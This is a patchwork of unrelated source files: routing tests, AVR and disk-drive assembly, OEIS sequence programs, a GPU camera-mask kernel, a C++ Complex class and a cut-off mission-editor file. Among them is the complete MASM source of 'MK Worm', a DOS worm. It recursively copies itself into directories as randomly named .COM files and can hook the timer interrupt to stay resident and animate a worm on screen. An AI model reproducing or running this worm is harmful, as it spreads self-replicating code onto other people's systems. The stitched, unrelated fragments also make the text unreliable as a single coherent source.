{'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
#include "test.h"
#include <boost/property_tree/ptree.hpp>
#include <iostream>
#include <stdexcept>
#include "baldr/rapidjson_utils.h"
#include "midgard/distanceapproximator.h"
#include "midgard/encoded.h"
#include "midgard/logging.h"
#include "midgard/util.h"
#include "tyr/actor.h"
#if !defined(VALHALLA_SOURCE_DIR)
#define VALHALLA_SOURCE_DIR
#endif
using namespace valhalla;
using namespace valhalla::midgard;
namespace {
boost::property_tree::ptree json_to_pt(const std::string& json) {
std::stringstream ss;
ss << json;
boost::property_tree::ptree pt;
rapidjson::read_json(ss, pt);
return pt;
}
// fake config
const auto conf = json_to_pt(R"({
"mjolnir":{"tile_dir":"test/data/utrecht_tiles", "concurrency": 1},
"loki":{
"actions":["locate","route","sources_to_targets","optimized_route","isochrone","trace_route","trace_attributes"],
"logging":{"long_request": 100},
"service_defaults":{"minimum_reachability": 50,"radius": 0,"search_cutoff": 35000, "node_snap_tolerance": 5, "street_side_tolerance": 5, "street_side_max_distance": 1000, "heading_tolerance": 60}
},
"thor":{"logging":{"long_request": 110}},
"skadi":{"actons":["height"],"logging":{"long_request": 5}},
"meili":{"customizable": ["turn_penalty_factor","max_route_distance_factor","max_route_time_factor","search_radius"],
"mode":"auto","grid":{"cache_size":100240,"size":500},
"default":{"beta":3,"breakage_distance":2000,"geometry":false,"gps_accuracy":5.0,"interpolation_distance":10,
"max_route_distance_factor":5,"max_route_time_factor":5,"max_search_radius":200,"route":true,
"search_radius":15.0,"sigma_z":4.07,"turn_penalty_factor":200}},
"service_limits": {
"auto": {"max_distance": 5000000.0, "max_locations": 20,"max_matrix_distance": 400000.0,"max_matrix_locations": 50},
"auto_shorter": {"max_distance": 5000000.0,"max_locations": 20,"max_matrix_distance": 400000.0,"max_matrix_locations": 50},
"bicycle": {"max_distance": 500000.0,"max_locations": 50,"max_matrix_distance": 200000.0,"max_matrix_locations": 50},
"bus": {"max_distance": 5000000.0,"max_locations": 50,"max_matrix_distance": 400000.0,"max_matrix_locations": 50},
"hov": {"max_distance": 5000000.0,"max_locations": 20,"max_matrix_distance": 400000.0,"max_matrix_locations": 50},
"taxi": {"max_distance": 5000000.0,"max_locations": 20,"max_matrix_distance": 400000.0,"max_matrix_locations": 50},
"isochrone": {"max_contours": 4,"max_distance": 25000.0,"max_locations": 1,"max_time": 120},
"max_avoid_locations": 50,"max_radius": 200,"max_reachability": 100,"max_alternates":2,
"multimodal": {"max_distance": 500000.0,"max_locations": 50,"max_matrix_distance": 0.0,"max_matrix_locations": 0},
"pedestrian": {"max_distance": 250000.0,"max_locations": 50,"max_matrix_distance": 200000.0,"max_matrix_locations": 50,"max_transit_walking_distance": 10000,"min_transit_walking_distance": 1},
"skadi": {"max_shape": 750000,"min_resample": 10.0},
"trace": {"max_distance": 200000.0,"max_gps_accuracy": 100.0,"max_search_radius": 100,"max_shape": 16000,"max_best_paths":4,"max_best_paths_shape":100},
"transit": {"max_distance": 500000.0,"max_locations": 50,"max_matrix_distance": 200000.0,"max_matrix_locations": 50},
"truck": {"max_distance": 5000000.0,"max_locations": 20,"max_matrix_distance": 400000.0,"max_matrix_locations": 50}
}
})");
TEST(ShapeAttributes, test_shape_attributes_included) {
tyr::actor_t actor(conf);
auto result_json = actor.trace_attributes(
R"({"shape":[
{"lat":52.09110,"lon":5.09806},
{"lat":52.09050,"lon":5.09769},
{"lat":52.09098,"lon":5.09679}
],"costing":"auto","shape_match":"map_snap",
"filters":{"attributes":["edge.length","edge.speed","edge.begin_shape_index",
"edge.end_shape_index","shape","shape_attributes.length","shape_attributes.time","shape_attributes.speed"],
"action":"include"}})");
rapidjson::Document doc;
doc.Parse(result_json);
EXPECT_FALSE(doc.HasParseError()) << "Could not parse json response";
auto shape =
midgard::decode<std::vector<PointLL>>(rapidjson::Pointer("/shape").Get(doc)->GetString());
auto shape_attributes_time = rapidjson::Pointer("/shape_attributes/time").Get(doc)->GetArray();
auto shape_attributes_length = rapidjson::Pointer("/shape_attributes/length").Get(doc)->GetArray();
auto shape_attributes_speed = rapidjson::Pointer("/shape_attributes/speed").Get(doc)->GetArray();
auto edges = rapidjson::Pointer("/edges").Get(doc)->GetArray();
EXPECT_EQ(shape_attributes_time.Size(), shape.size() - 1);
EXPECT_EQ(shape_attributes_length.Size(), shape.size() - 1);
EXPECT_EQ(shape_attributes_speed.Size(), shape.size() - 1);
// Measures the length between point
for (int i = 1; i < shape.size(); i++) {
auto distance = shape[i].Distance(shape[i - 1]) * .001f;
// Measuring that the length between shape pts is approx. to the shape attributes length
EXPECT_NEAR(distance, shape_attributes_length[i - 1].GetFloat(), .01f);
}
// Assert that the shape attributes (time, length, speed) are equal to their corresponding edge
// attributes
for (int e = 0; e < edges.Size(); e++) {
auto edge_length = edges[e]["length"].GetDouble();
auto edge_speed = edges[e]["speed"].GetDouble();
double sum_times = 0;
double sum_lengths = 0;
for (int j = edges[e]["begin_shape_index"].GetInt(); j < edges[e]["end_shape_index"].GetInt();
j++) {
sum_times += shape_attributes_time[j].GetDouble();
sum_lengths += shape_attributes_length[j].GetDouble();
EXPECT_NEAR(edge_speed, shape_attributes_speed[j].GetDouble(), .15);
}
// Can't assert that sum of shape times equals edge's elapsed_time because elapsed_time includes
// transition costs and shape times do not.
EXPECT_NEAR(3600 * edge_length / edge_speed, sum_times, .1);
EXPECT_NEAR(edge_length, sum_lengths, .1);
}
}
TEST(ShapeAttributes, test_shape_attributes_no_turncosts) {
tyr::actor_t actor(conf);
auto result_json = actor.trace_attributes(
R"({"shape":[
{"lat":52.09110,"lon":5.09806},
{"lat":52.091050,"lon":5.097556}
],"costing":"auto","shape_match":"map_snap",
"filters":{"attributes":["edge.length","edge.speed","node.elapsed_time",
"edge.begin_shape_index","edge.end_shape_index","shape",
"shape_attributes.length","shape_attributes.time","shape_attributes.speed"],
"action":"include"}})");
rapidjson::Document doc;
doc.Parse(result_json);
EXPECT_FALSE(doc.HasParseError()) << "Could not parse json response";
auto shape =
midgard::decode<std::vector<PointLL>>(rapidjson::Pointer("/shape").Get(doc)->GetString());
auto shape_attributes_time = rapidjson::Pointer("/shape_attributes/time").Get(doc)->GetArray();
auto shape_attributes_length = rapidjson::Pointer("/shape_attributes/length").Get(doc)->GetArray();
auto shape_attributes_speed = rapidjson::Pointer("/shape_attributes/speed").Get(doc)->GetArray();
auto edges = rapidjson::Pointer("/edges").Get(doc)->GetArray();
EXPECT_EQ(shape_attributes_time.Size(), shape.size() - 1);
EXPECT_EQ(shape_attributes_length.Size(), shape.size() - 1);
EXPECT_EQ(shape_attributes_speed.Size(), shape.size() - 1);
// Measures the length between point
for (int i = 1; i < shape.size(); i++) {
auto distance = shape[i].Distance(shape[i - 1]) * .001f;
// Measuring that the length between shape pts is approx. to the shape attributes length
EXPECT_NEAR(distance, shape_attributes_length[i - 1].GetFloat(), .01f);
}
// Assert that the shape attributes (time, length, speed) are equal to their corresponding edge
// attributes
auto edge_length = edges[0]["length"].GetDouble();
auto edge_speed = edges[0]["speed"].GetDouble();
auto edge_elapsed_time = edges[0]["end_node"]["elapsed_time"].GetDouble();
double sum_times = 0;
double sum_lengths = 0;
sum_times += shape_attributes_time[0].GetDouble();
sum_lengths += shape_attributes_length[0].GetDouble();
EXPECT_NEAR(edge_speed, shape_attributes_speed[0].GetDouble(), .15);
// Can't assert that sum of shape times equals edge's elapsed_time because elapsed_time includes
// transition costs and shape times do not.
EXPECT_NEAR(edge_elapsed_time, sum_times, .1);
EXPECT_NEAR(edge_length, sum_lengths, .1);
}
} // namespace
int main(int argc, char* argv[]) {
testing::InitGoogleTest(&argc, argv);
return RUN_ALL_TESTS();
}
|
;*****************************************************************
;* - Description: Device definition file for RC Calibration
;* - File: t26.asm
;* - AppNote: AVR053 - Production calibration of the
;* RC oscillator
;*
;* - Author: Atmel Corporation: http://www.atmel.com
;* Support email: avr@atmel.com
;*
;* $Name$
;* $Revision: 56 $
;* $RCSfile$
;* $Date: 2006-02-16 17:44:45 +0100 (to, 16 feb 2006) $
;*****************************************************************
.include "tn26def.inc"
.include "Common\memoryMap.inc"
.include "Device specific\t26_family_pinout.inc"
.EQU OSC_VER = 3
.equ EEARL = EEAR
.equ EEARH = 0x27 ;Unused address in IO file |
// Copyright (C) 2020 Jérôme Leclercq
// This file is part of the "Nazara Engine - OpenGL Renderer"
// For conditions of distribution and use, see copyright notice in Config.hpp
#include <Nazara/OpenGLRenderer/OpenGLFramebuffer.hpp>
#include <Nazara/OpenGLRenderer/Debug.hpp>
namespace Nz
{
}
|
; rename file name in directory
rename jsr alldrs ; set both drive #'s
lda fildrv+1
and #1
sta fildrv+1
cmp fildrv
beq rn10 ; same drive #'s
ora #$80 ; check both drives for name
rn10 sta fildrv
jsr lookup ; look up both names
jsr chkio ; check for existence
lda fildrv+1
and #1
sta drvnum
lda entsec+1
sta sector
jsr rdab ; read directory sector
jsr watjob
lda entind+1
clc ; set sector index
adc #3 ; ...+3
jsr setpnt
jsr getact
tay
ldx filtbl
lda #16
jsr trname ; transfer name
jsr wrtout ; write sector out
jsr watjob
jmp endcmd
; check i/o file for exist
chkin lda pattyp+1 ; 1st file bears type
and #typmsk
sta type
ldx f2cnt
ck10 dex
cpx f1cnt
bcc ck20
lda filtrk,x
bne ck10
lda #flntfd ; input file not found
jmp cmderr
ck20 rts
chkio jsr chkin
ck25 lda filtrk,x
beq ck30
lda #flexst
jmp cmderr
ck30 dex
bpl ck25
rts
|
; A123231: Row sums of A123230.
; 1,2,1,3,2,5,3,8,5,13,8,21,13,34,21,55,34,89,55,144,89,233,144,377,233,610,377,987,610,1597,987,2584,1597,4181,2584,6765,4181,10946,6765,17711,10946,28657,17711,46368,28657,75025,46368,121393,75025,196418,121393,317811,196418,514229,317811,832040,514229,1346269,832040,2178309,1346269,3524578,2178309,5702887,3524578,9227465,5702887,14930352,9227465,24157817,14930352,39088169,24157817,63245986,39088169,102334155,63245986,165580141,102334155,267914296,165580141,433494437,267914296,701408733,433494437,1134903170,701408733,1836311903,1134903170,2971215073,1836311903,4807526976,2971215073,7778742049,4807526976,12586269025,7778742049,20365011074,12586269025,32951280099
mov $2,$0
div $2,2
sub $0,$2
mul $0,2
mov $1,$2
sub $1,2
sub $0,$1
seq $0,118658 ; a(n) = 2*F(n-1) = L(n) - F(n), where F(n) and L(n) are Fibonacci and Lucas numbers respectively.
div $0,2
|
## Camera mask fullscreen
# Mask camera feed and blit to custom 1-bit-per-pixel buffer in fullscreen mode using VPM writes and TMU reads
# Currently set up to a simple threshold of 0.5 (maskCO register constant)
# More complex programs with neighbour pixel access would be a pain to implement, easier in tiled mode once it works
# Use mode full (-m full) to execute
.include "vc4.qinc"
# Uniforms
.set srcAddr, ra0
.set tgtAddr, ra1
.set srcStride, rb0
.set tgtStride, rb1
.set lineWidth, ra2
.set lineCount, ra3
mov srcAddr, unif;
mov tgtAddr, unif;
mov srcStride, unif;
mov tgtStride, unif;
mov lineWidth, unif;
mov lineCount, unif;
# Variables
.set x, ra4 # Iterator over current line
.set y, ra5 # Iterator over all lines
.set s, ra6 # Iterator of current line segment
.set p, rb2 # Number of pixels in the current segment
.set line, ra7
.set srcPtr, ra8
.set tgtPtr, rb3
.set vdwStride, rb4
# Compiler Constants
.const segSize, 20 # Line segment size. segSize = num vectors in VPM reserved for user programs (default 32, 64 on RPi assigned)
.const segSplit, 5
# Register Constants
.set num16, rb5
ldi num16, 16;
.set maskCO, rb7
ldi maskCO, 0.5;
# Calculate target stride
ldi r0, 0xc0000000;
add r0, r0, tgtStride;
mov r1, segSize/segSplit * 4;
sub vdwStride, r0, r1;
mov line, 0; # Opposite of y, increases in multiples of 16
# Line Iterator: drop 4 LSB as the 16-way processor will blit 16 lines in parallel
shr r0, lineCount, 4;
max y, r0, 1;
:y # Loop over lines (16 at a time)
# Calculate base source address of current 16 lines
mul24 r0, line, srcStride;
add r0, r0, srcAddr;
mul24 r1, elem_num, srcStride; # individual offset of each SIMD vector element
add srcPtr, r0, r1;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
# Calculate base target address of current block
mul24 r0, line, tgtStride;
add tgtPtr, r0, tgtAddr;
# TODO: Generate vector mask to prevent overflow of source (720p and 1232p would work fine without)
# Setup VPM for writing full 32Bits rows (Horizontal mode)
read vw_wait;
mov vw_setup, vpm_setup(0, 1, h32(0));
# Pixel iterator: Drop 5 LSB as 32 pixels (8 loads of 4 pixels) are processed at once
shr x, lineWidth, 5;
:x # Loop over line segments (max 512pixels can be written at once)
# Clear mask accumulator r0, init mask iterator r1
mov r0, 0; mov r1, 1;
# .rep c, 4 # 4 channels of 8bit each, total of 32bit
.rep l, 8 # 2 loads of 4 pixels each, total of 8pixels processed to 8bit
.back 0
# Load srcPtr from camera frame
mov t0s, srcPtr; # remove for opt
# Increase source pointer by 4 pixels (bytes)
;add srcPtr, srcPtr, 4;
.endb
# This will block until TMU has loaded the data (9-20 cycles)
ldtmu0
# Increase source pointer by 4 pixels (bytes)
# add srcPtr, srcPtr, 4;
# This will block until TMU has loaded the data (9-20 cycles)
# ldtmu0
# Load srcPtr from camera frame
# mov t0s, srcPtr; # remove for opt
fmin.setf nop, r4.8af, maskCO;
shl r1, r1, 1; v8adds.ifcs r0, r0, r1;
fmin.setf nop, r4.8bf, maskCO;
shl r1, r1, 1; v8adds.ifcs r0, r0, r1;
fmin.setf nop, r4.8cf, maskCO;
shl r1, r1, 1; v8adds.ifcs r0, r0, r1;
fmin.setf nop, r4.8df, maskCO;
shl r1, r1, 1; v8adds.ifcs r0, r0, r1;
.endr
# .endr
# Write all 32bits (32pixels) to VPM
mov vpm, r0;
# End branch :x
sub.setf x, x, 1;
brr.anynz -, :x
nop
nop
nop
# Set fixed target stride
mov vw_setup, vdwStride;
# Calculate split segment stride
mov r1, segSize/segSplit * 4;
.rep i, segSplit
read vw_wait;
# Write VPM to memory (segSize in vectors, is multiplied by 4 for byte length)
mov vw_setup, vdw_setup_0(16, segSize/segSplit, dma_v32(segSize/segSplit*i, 0));
# Write address
mov vw_addr, tgtPtr;
# Increase adress
add tgtPtr, tgtPtr, r1;
.endr
# ldtmu0
# Increase line to next 16 lines
add line, line, num16;
# End branch :y
sub.setf y, y, 1;
brr.anynz -, :y
nop
nop
nop
mov.setf irq, nop;
nop; thrend
nop
nop
|
;**********************************************************************
;*
;* MK Worm
;*
;* Compile with MASM 4.0
;*
;**********************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:cseg
.radix 16
org 0100
wormlen equ 8
filelen equ eind - begin
old_dir equ eind
DTA equ offset eind + 100d
;**********************************************************************
;* Main program
;**********************************************************************
begin: call rnd_init
mov bp,DTA ;change DTA
call set_DTA
mov ah,47 ;get name of current directory
cwd
mov si,offset old_dir
int 21
mov dx,offset root_dir ;goto root
call chdir
call search ;search directory's
mov dx,offset old_dir ;goto original directory
call chdir
call rnd_get ;go resident?
and al,0F
jz go_res
int 20
go_res: mov ax,351C ;go resident!
int 21
lea si,oldvec
mov [si],bx
mov [si+2],es
lea dx,routine
mov ax,251C
int 21
mov dx,offset eind
int 27
;**********************************************************************
;* search dir
;**********************************************************************
search: mov dx,offset dirname ;search *.*
mov cx,16
mov ah,4E
finddir: int 21
jc no_dir
test byte ptr [bp+15],10 ;directory?
je next_dir
cmp byte ptr [bp+1E],'.' ;is it '.' or '..' ?
je next_dir
lea dx,[bp+1E] ;goto directory
call chdir
lea bp,[bp+2C] ;change DTA
call set_DTA
call search ;searc directory (recurse!)
lea bp,[bp-2C] ;goto previous DAT
call set_DTA
mov dx,offset back_dir ;'CD ..'
call chdir
next_dir: mov ah,4F ;find next
jmp short finddir
no_dir: call rnd_get ;copy worm to this directory?
and al,3
jnz no_worm
mov dx,offset comname ;search *.com
mov ah,4E
mov cx,06
findcom: int 21
jc makeit
mov ax,word ptr [bp-1A] ;worm already there?
sub ax,filelen
cmp ax,10
jnb no_worm
mov ah,4F
jmp short findcom
makeit: call makeworm ;copy the worm!
no_worm: ret
;**********************************************************************
;* change dir
;**********************************************************************
chdir: mov ah,3Bh
int 21
ret
;**********************************************************************
;* set DTA
;**********************************************************************
set_DTA: mov dx,bp
mov ah,1A
int 21
ret
;**********************************************************************
;* create worm
;**********************************************************************
makeworm: mov ah,5A ;create unique filename
xor cx,cx
mov dx,offset filename
mov si,offset restname
mov byte ptr [si],0
int 21
xchg ax,bx
mov ah,40 ;write worm
mov cx,filelen
mov dx,0100
int 21
call rnd_get ;append a few bytes
and ax,0F
xchg ax,cx
mov dx,0100
mov ah,40
int 21
mov ah,3E ;close file
int 21
lea di,[si+13d] ;copy filename
push di
push si
movsw
movsw
movsw
movsw
mov si,offset comname+1
movsw
movsw
movsb
pop dx ;rename file to .COM
pop di
mov ah,56
int 21
ret
;**********************************************************************
;* new int 1C handler
;**********************************************************************
routine: cli ;save registers
push ds
push es
push ax
push bx
push cx
push dx
push si
push di
push cs
push cs
pop ds
pop es
zzz3: inc byte ptr [count]
mov al,byte ptr [count]
test al,1 ;only every 2nd tick
jz nothing
cmp al,3 ;don't change direction yet
jb zzz2
call rnd_get
and al,3 ;change direction?
jnz zzz2
zzz0: call dirchange ;change direction!
mov al,byte ptr [direction]
xor al,byte ptr [old_direc]
and al,1
jz zzz0 ;90 degrees with old direction?
zzz2: call getnext ;calculate next position
call checknext ;does it hit the border?
jc zzz0
mov al,byte ptr [direction] ;save old direction
mov byte ptr [old_direc],al
call moveworm
mov ah,0F ;ask video mode
int 10
cmp al,7
jz goodmode
cmp al,4
jnb nothing
cmp al,2
jb nothing
goodmode: mov ah,3 ;read cursor position
int 10
push dx
call printworm
pop dx ;restore cursor position
mov ah,2
int 10
nothing: pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
sti
jmp cs:[oldvec] ;original vector
oldvec dd 0
;**********************************************************************
;* changes direction of worm
;**********************************************************************
dirchange: call rnd_get ;get random numbar
and al,2
mov ah,byte ptr [direction] ;change direction 90 degrees
xor ah,0FF
and ah,1
or ah,al
mov byte ptr [direction],ah
mov byte ptr [count],0
ret
;**********************************************************************
;* finds next position of the worm
;**********************************************************************
getnext: mov al,byte ptr [yval+wormlen]
mov byte ptr [yval+wormlen+1],al
mov al,byte ptr [xval+wormlen]
mov byte ptr [xval+wormlen+1],al
mov ah,byte ptr [direction]
cmp ah,3
je is_3
cmp ah,2
je is_2
cmp ah,1
je is_1
is_0: mov al,byte ptr [yval+wormlen] ;up
dec al
mov byte ptr [yval+wormlen+1],al
ret
is_1: mov al,byte ptr [xval+wormlen] ;left
dec al
dec al
mov byte ptr [xval+wormlen+1],al
ret
is_2: mov al,byte ptr [yval+wormlen] ;down
inc al
mov byte ptr [yval+wormlen+1],al
ret
is_3: mov al,byte ptr [xval+wormlen] ;right
inc al
inc al
mov byte ptr [xval+wormlen+1],al
ret
;**********************************************************************
;* checks if worm will hit borders
;**********************************************************************
checknext: mov al,byte ptr [xval+wormlen+1]
cmp al,0
jl fout
cmp al,80d
jae fout
mov al,byte ptr [yval+wormlen+1]
cmp al,0
jl fout
cmp al,25d
jae fout
clc
ret
fout: stc
ret
;**********************************************************************
;* move the worm
;**********************************************************************
moveworm: mov si,offset xval+1
lea di,[si-1]
mov cx,wormlen+1
rep movsb
mov si,offset yval+1
lea di,[si-1]
mov cx,wormlen+1
rep movsb
ret
;**********************************************************************
;* print the worm on screen
;**********************************************************************
printworm: mov si,offset xval
call move
mov al,20 ;print space on rear end
call print
mov cx,wormlen-1
lup: call move
mov al,0F ;print dots
call print
loop lup
call move
mov al,2 ;print head of worm
call print
ret
;**********************************************************************
;* move the cursor
;**********************************************************************
move: mov ah,[si+wormlen+2]
lodsb
xchg ax,dx
mov ah,02
int 10
ret
;**********************************************************************
;* print a character
;**********************************************************************
print: push cx
mov ah,09
mov bl,0C
mov cx,1
int 10
pop cx
ret
;****************************************************************************
;* random number generator
;****************************************************************************
rnd_init: push cx
call rnd_init0
and ax,000F
inc ax
xchg ax,cx
random_lup: call rnd_get
loop random_lup
pop cx
ret
rnd_init0: push dx ;initialize generator
push cx
mov ah,2C
int 21
in al,40
mov ah,al
in al,40
xor ax,cx
xor dx,ax
jmp short move_rnd
rnd_get: push dx ;calculate a random number
push cx
push bx
mov ax,0
mov dx,0
mov cx,7
rnd_lup: shl ax,1
rcl dx,1
mov bl,al
xor bl,dh
jns rnd_l2
inc al
rnd_l2: loop rnd_lup
pop bx
move_rnd: mov word ptr cs:[rnd_get+4],ax
mov word ptr cs:[rnd_get+7],dx
mov al,dl
pop cx
pop dx
ret
;**********************************************************************
;* data
;**********************************************************************
db ' MK Worm / Trident '
root_dir db '\',0
back_dir db '..',0
dirname db '*.*',0
comname db '*.COM',0
filename db '.\'
restname db (26d) dup (?)
xval db 32d, 34d, 36d, 38d, 40d, 42d, 44d, 46d, 48d, 0
yval db (wormlen+2) dup (12d)
direction db 3
old_direc db 3
count db 0
eind:
cseg ends
end begin
|
;------------------------------------------------------------------------------ ;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
; Module Name:
;
; CpuPause.Asm
;
; Abstract:
;
; CpuPause function
;
; Notes:
;
;------------------------------------------------------------------------------
DEFAULT REL
SECTION .text
;------------------------------------------------------------------------------
; VOID
; EFIAPI
; CpuPause (
; VOID
; );
;------------------------------------------------------------------------------
global ASM_PFX(CpuPause)
ASM_PFX(CpuPause):
pause
ret
|
; A029898: Pitoun's sequence: a(n+1) is digital root of a(0) + ... + a(n).
; 1,1,2,4,8,7,5,1,2,4,8,7,5,1,2,4,8,7,5,1,2,4,8,7,5,1,2,4,8,7,5,1,2,4,8,7,5,1,2,4,8,7,5,1,2,4,8,7,5,1,2,4,8,7,5,1,2,4,8,7,5,1,2,4,8,7,5,1,2,4,8,7,5,1,2,4,8,7,5,1,2,4,8,7,5,1,2,4,8,7,5,1,2,4,8,7,5,1,2,4,8,7,5,1,2
mov $1,1
mov $2,$0
lpb $2
lpb $3
mul $1,2
mod $1,9
sub $3,1
lpe
sub $2,1
add $3,1
lpe
|
// Fig. 11.21: Complex.cpp
// Complex class member-function definitions.
#include <iostream>
#include "Complex.h" // Complex class definition
using namespace std;
//Constructor
Complex::Complex( double realPart, double imaginaryPart )
: real( realPart ), imaginary( imaginaryPart )
{
// empty body
}
// stream extraction operator<<
ostream& operator<<( ostream& output, const Complex& operand2 )
{
output << "(" << operand2.real << " , " << operand2.imaginary << ")";
return output;
}
// stream insertion operator>>
istream& operator>>( istream& input, Complex& operand2 )
{
input >> operand2.real >> operand2.imaginary;
return input;
}
// addition operator+
Complex Complex::operator+( const Complex& operand2 ) const
{
return Complex( real + operand2.real, imaginary + operand2.imaginary );
}
// subtraction operator-
Complex Complex::operator-( const Complex& operand2 ) const
{
return Complex( real - operand2.real, imaginary - operand2.imaginary);
}
// multiplication operator*
Complex Complex::operator*( const Complex& operand2 ) const
{
return Complex( real * operand2.real - imaginary * operand2.imaginary, real * operand2.imaginary + imaginary * operand2.real );
}
// equaliity operator==
bool Complex::operator==( const Complex& operand2 ) const
{
return real == operand2.real && imaginary == operand2.imaginary;
}
// inequality operator!=
bool Complex::operator!=( const Complex& operand2 ) const
{
return real != operand2.real || imaginary != operand2.imaginary;
}
|
/*
* Copyright (C) Volition, Inc. 1999. All rights reserved.
*
* All source code herein is the property of Volition, Inc. You may not sell
* or otherwise commercially exploit the source or things you created based on the
* source.
*
*/
#include <ai/aigoals.h>
#include <asteroid/asteroid.h>
#include <cfile/cfile.h>
#include <hud/hudsquadmsg.h>
#include <gamesnd/eventmusic.h>
#include <globalincs/linklist.h>
#include <globalincs/version.h>
#include <iff_defs/iff_defs.h>
#include <jumpnode/jumpnode.h>
#include <localization/fhash.h>
#include <localization/localize.h>
#include <mission/missionbriefcommon.h>
#include <mission/missioncampaign.h>
#include <mission/missiongoals.h>
#include <mission/missionmessage.h>
#include <mission/missionparse.h>
#include <missionui/fictionviewer.h>
#include <missionui/missioncmdbrief.h>
#include <nebula/neb.h>
#include <object/objectdock.h>
#include <object/objectshield.h>
#include <parse/sexp_container.h>
#include <sound/ds.h>
#include <starfield/nebula.h>
#include <starfield/starfield.h>
#include <weapon/weapon.h>
#include "missionsave.h"
#include "util.h"
namespace fso {
namespace fred {
int CFred_mission_save::autosave_mission_file(char* pathname)
{
char backup_name[256], name2[256];
int i;
auto len = strlen(pathname);
strcpy_s(backup_name, pathname);
strcpy_s(name2, pathname);
sprintf(backup_name + len, ".%.3d", BACKUP_DEPTH);
cf_delete(backup_name, CF_TYPE_MISSIONS);
for (i = BACKUP_DEPTH; i > 1; i--) {
sprintf(backup_name + len, ".%.3d", i - 1);
sprintf(name2 + len, ".%.3d", i);
cf_rename(backup_name, name2, CF_TYPE_MISSIONS);
}
strcpy(backup_name + len, ".001");
save_mission_internal(backup_name);
return err;
}
void CFred_mission_save::bypass_comment(const char* comment, const char* end)
{
char* ch = strstr(raw_ptr, comment);
if (ch != NULL) {
if (end != NULL) {
char* ep = strstr(raw_ptr, end);
if (ep != NULL && ep < ch) {
return;
}
}
char* writep = ch;
char* readp = strchr(writep, '\n');
// copy all characters past it
while (*readp != '\0') {
*writep = *readp;
